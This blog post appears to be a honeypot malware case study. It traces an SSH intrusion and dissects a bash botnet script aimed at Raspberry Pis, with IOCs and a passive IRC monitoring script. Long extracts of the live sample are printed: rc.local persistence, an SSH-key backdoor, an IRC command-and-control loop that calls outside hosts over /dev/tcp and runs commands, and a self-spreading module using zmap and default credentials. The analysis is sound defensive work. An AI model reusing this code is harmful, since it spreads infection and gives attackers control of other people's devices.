Skip to main content

Catching hackers with a honeypot - Case study

· 11 min read
Orkanyx
Orkanyx
Creator of Cyberforge

Getting the sample

For this first case study, we'll base our analysis on a sample obtained by Cowrie. This sample can be found in the tpot installation folder, then in /data/cowrie/downloads/.

warning

The samples are malicious files. Handle them with caution. Always in a vm without internet connection

info

This first case study concerns a .sh file executed by a malicious actor to establish a botnet.

First, let's trace where this sample comes from. For this, we use the following query:

KQL Query to find the log related to the sample upload
type: Cowrie and "b6ba24ff7f1b3a851fe896136086f39c7d11db7f60223cf87a4fe029469ce776"

We expand the log to get more information:

Then we filter with this IP across all logs to get an overview:

KQL Query to find all logs related to the attacker's IP
src_ip: 199.76.38.122

We include the columns "Type", "input" and "message" to see the commands executed:

info

Hint about what the script might do, we see that the SSH client that initiated the connection apparently comes from a "Raspbian".

Raspbian is a Linux distribution based on Debian, specially designed for Raspberry Pi.

We can also see that the client, after trying an incorrect password, managed to connect with the login/password pair "pi:raspberry".

info

These are the default credentials for Raspbian.

The command used here scp -t /tmp/WPvDA7 activates "target" mode, which tells scp that the data sent to it is meant to be written to the file /tmp/WPvDA7.

The advantage of this command is that the file is directly written to the victim's system, without going through the shell.

Finally, the attacker tries to execute the script via the command cd /tmp && chmod +x WPvDA7pO && bash -c ./WPvDA7pO. However, the execution fails because Cowrie has already removed the file and collected the sample.

Conclusion
  • The attacker probably uses a raspberry pi
  • The attacker attempted to connect to an ssh server using the default Raspberry Pi credentials
  • They then tried to transfer a script to the server and execute it
  • The script couldn't be executed because Cowrie removed the file and collected the sample

Sample Analysis

Persistence module and removal of competing malware

Extract 1 from the sample
#!/bin/bash

MYSELF=realpath $0

if [ "$EUID" -ne 0 ]
then
NEWMYSELF=`mktemp -u 'XXXXXXXX'`
sudo cp $MYSELF /opt/$NEWMYSELF
sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
sudo sh -c "echo 'exit 0' >> /etc/rc.local"
sleep 1
sudo reboot
else
TMP1=`mktemp`
echo $TMP1 >> $DEBUG

First, the script initializes a variable MYSELF containing the absolute path of the script.

Then, the script checks if the user is root. If not, it will copy the script to /opt/ and add a line in /etc/rc.local so that the script is executed at startup. It thus establishes persistence.

Otherwise, it will create a temporary file and write the path of this file in the $DEBUG variable.

Extract 2 from the sample
killall bins.sh
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl

The script will then kill several processes, all relating to "competitor" malware and others:

Extract 3 from the sample
echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc

usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B" >> /root/.ssh/authorized_keys

The first line redirects all requests to bins.deutschland-zahlung.eu to 127.0.0.1, making it impossible to properly resolve this address.

The domain name bins.deutschlan-zahlung.eu is potentially malicious, and currently only has an SSH service exposed on the internet.

The most convincing hypothesis is that this domain name is a competing botnet, and this line blocks access to this botnet.

info

On https://www.urlvoid.com/, the domain deutschland-zahlung.eu is detected by 4 engines as malicious. (Fortinet, Avira, Seclookup, CRDF)

Then, the script deletes the .bashrc files of root and the pi user.

info

The .bashrc file is a configuration file that defines commands executed when opening a terminal

This file is often used by malware for persistence. Deleting it removes the means of persistence, to be the only malware executing.

The fact that the pi user is targeted confirms that this malware targets Raspberry Pi.

The script will then modify the password of the pi user to a hash, making it impossible to connect with the raspberry password.

Finally, the script will create an .ssh folder in the /root/ directory and add a public SSH key.

These 2 operations serve to keep an active backdoor within the infected machine.

Extract 4 from the sample
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten

cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER

First, the malware will modify the /etc/resolv.conf file to use Google's DNS server. This allows both:

  • To connect the raspberry PI to the internet if it didn't have a DNS Server configured
  • To bypass any DNS filtering to ensure requests will reach the command and control server

Then, the script will delete the ktx*, cpuminer-multi and kaiten files in the /tmp/ and /var/tmp/ folders. (still to remove competing malware)

Finally, the script will create a /tmp/public.pem file containing a public key. We'll come back to this key later.

Communication module with the command and control server

Extract 5 from the sample
SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do

arr[0]="ix1.undernet.org"
arr[1]="ix2.undernet.org"
arr[2]="Ashburn.Va.Us.UnderNet.org"
arr[3]="Bucharest.RO.EU.Undernet.Org"
arr[4]="Budapest.HU.EU.UnderNet.org"
arr[5]="Chicago.IL.US.Undernet.org"
rand=$[$RANDOM % 6]
svr=${arr[$rand]}

eval 'exec 3<>/dev/tcp/$svr/6667;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi

echo $NICK

eval 'printf "NICK $NICK\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi

# Main loop
while [ true ]; do
eval "read msg_in <&3;"

if [[ ! "$?" -eq 0 ]] ; then
break
fi

if [[ "$msg_in" =~ "PING" ]] ; then
printf "PONG %s\n" "${msg_in:5}";
eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
sleep 1
eval 'printf "JOIN #biret\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
privmsg_h=$(echo $msg_in| cut -d':' -f 3)
privmsg_data=$(echo $msg_in| cut -d':' -f 4)
privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)

hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

if [[ "$sign" == "$hash" ]] ; then
CMD=`echo $privmsg_data | base64 -d -i`
RES=`bash -c "$CMD" | base64 -w 0`
eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
fi
fi
done
done
EOFMARKER

The script will first initialize 2 variables:

  • SYS: Contains the MD5 hash of the output of the uname -a command
  • NICK: Contains the letter a followed by the last 8 characters of SYS

For example, if the result of the uname-a command is:

Linux raspberrypi 6.1.0-rpi4-rpi-v8 #1 SMP PREEMPT Debian 1:6.1.63-1+rpt1 (2024-01-18) aarch64 GNU/Linux

The result of NICK will be:

ae4d909

The purpose of this is to generate a unique nickname for each infected machine.

Once this nickname is generated, the script will connect to an IRC server.

It will choose a random server from a list of IRC servers and connect on port 6667. This list consists of:

  • "ix1.undernet.org"
  • "ix2.undernet.org"
  • "Ashburn.Va.Us.UnderNet.org"
  • "Bucharest.RO.EU.Undernet.Org"
  • "Budapest.HU.EU.UnderNet.org"
  • "Chicago.IL.US.Undernet.org"
info

"undernet.org" is an IRC network, which is one of the oldest IRC networks still active.

Generally, the rest of this module allows executing commands sent by the IRC server and sending back the results of these commands.

Messages received by the IRC server are of 3 types:

  • PING: The bot must respond PONG to indicate it's still connected
  • JOIN: The bot must join an IRC channel (in this case #biret)
  • PRIVMSG: The bot must decode the message, verify the signature, execute the command, and send back the result
info

Signature verification is done using the public key stored in /tmp/public.pem. This behaviour is intended to prevent anybody from the botnet to send arbitrary commands to all bots.

Execution is done via the command bash -c "$CMD", and the result is sent back to the IRC server ($CMD being base64 encoded)

Module for infecting other targets

Extract 6 from the sample
apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes

while [ true ]; do
FILE=`mktemp`
zmap -p 22 -o $FILE -n 100000
killall ssh scp
for IP in `cat $FILE`
do
sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
done
rm -rf $FILE
sleep 10
done

This module will install zmap and sshpass via apt-get, then will scan IP addresses on port 22.

In zmap's documentation, we can see that the -n argument corresponds to the number of targets. If no target is specified, Zmap will scan all available IP addresses on the internet.

If port 22 is detected as open, it will kill all current ssh/scp sessions.

The malware will then try 2 passwords combinations which are pi/raspberry and pi/raspberryraspberry993311.

If a session is successfully established, the malware will:

  1. Transfer its script to the target's /tmp/ folder, using the $MYSELF variable to get the absolute path of the script (via scp)
  2. Execute the script on the target via the command cd /tmp && chmod +x $NAME && bash -c ./$NAME (via ssh).

IOCS

We can identify the following IOCs:

  • "bins.deutschland-zahlung.eu"
  • "ix1.undernet.org"
  • "ix2.undernet.org"
  • "Ashburn.Va.Us.UnderNet.org"
  • "Bucharest.RO.EU.Undernet.Org"
  • "Budapest.HU.EU.UnderNet.org"
  • "Chicago.IL.US.Undernet.org"
Public key retrieved from the sample
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
SSH public key retrieved from the sample
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B

Infiltrating the botnet

It's possible to connect to the mentioned IRC servers to observe the botnet in action. Indeed, we won't be able to issue commands since they have a signature verification before execution.

We can create a script that's inspired by the malware but doesn't execute any commands:

IRC monitoring script
#!/bin/bash

LOG_FILE="/tmp/irc_monitor.log"

# Generate unique nickname based on system hash
SYS_HASH=$(uname -a | md5sum | awk '{print $1}')
NICK="a${SYS_HASH:24:8}"

# UnderNet IRC servers list
SERVERS=(
"ix1.undernet.org"
"ix2.undernet.org"
"Ashburn.Va.Us.UnderNet.org"
"Bucharest.RO.EU.Undernet.Org"
"Budapest.HU.EU.UnderNet.org"
"Chicago.IL.US.Undernet.org"
)
SERVER=${SERVERS[$RANDOM % ${#SERVERS[@]}]}

# Default IRC port
PORT=6667
CHANNEL="#biret" # Can be changed to another channel

# Clean log at startup
echo "[$(date)] Starting IRC logger on $SERVER:$PORT with nickname $NICK" | tee "$LOG_FILE"

while true; do
# Open TCP connection
exec 3<>/dev/tcp/$SERVER/$PORT
if [[ $? -ne 0 ]]; then
echo "[$(date)] Connection failed to $SERVER:$PORT, trying another server..." | tee -a "$LOG_FILE"
SERVER=${SERVERS[$RANDOM % ${#SERVERS[@]}]}
sleep 5
continue
fi

# Send IRC commands
echo "NICK $NICK" >&3
echo "USER $NICK 8 * :IRC Hi" >&3

# Wait for messages
while read -r line <&3; do
echo "[$(date)] $line" | tee -a "$LOG_FILE"

if [[ "$line" =~ ^PING ]]; then
PONG_RESPONSE=${line/PING/PONG}
echo "$PONG_RESPONSE" >&3
echo "[$(date)] Sent: $PONG_RESPONSE" | tee -a "$LOG_FILE"

# Once connected, join specific channel
echo "JOIN $CHANNEL" >&3
echo "[$(date)] Joined channel $CHANNEL" | tee -a "$LOG_FILE"
fi
done

echo "[$(date)] Disconnected, attempting reconnection..." | tee -a "$LOG_FILE"
sleep 5
done

Here's the script result:

We can see that the botnet is probably inactive, since it has 3 users, including ourselves, 1 member who has an uncommon name a-3128547 (so probably a logger), and another member who has a name generated by the malware aa0027afc.

This member has the IP "60.250.214.40", and is referenced on shodan:

img.png

This corresponds to a mikrotik router, which no longer has its SSH port exposed. Therefore it's not currently infectable, but the malware continues to be executed by this machine.

It's also possible that this IP is the "NATed" IP, and that the infected machine is in this IP's internal network.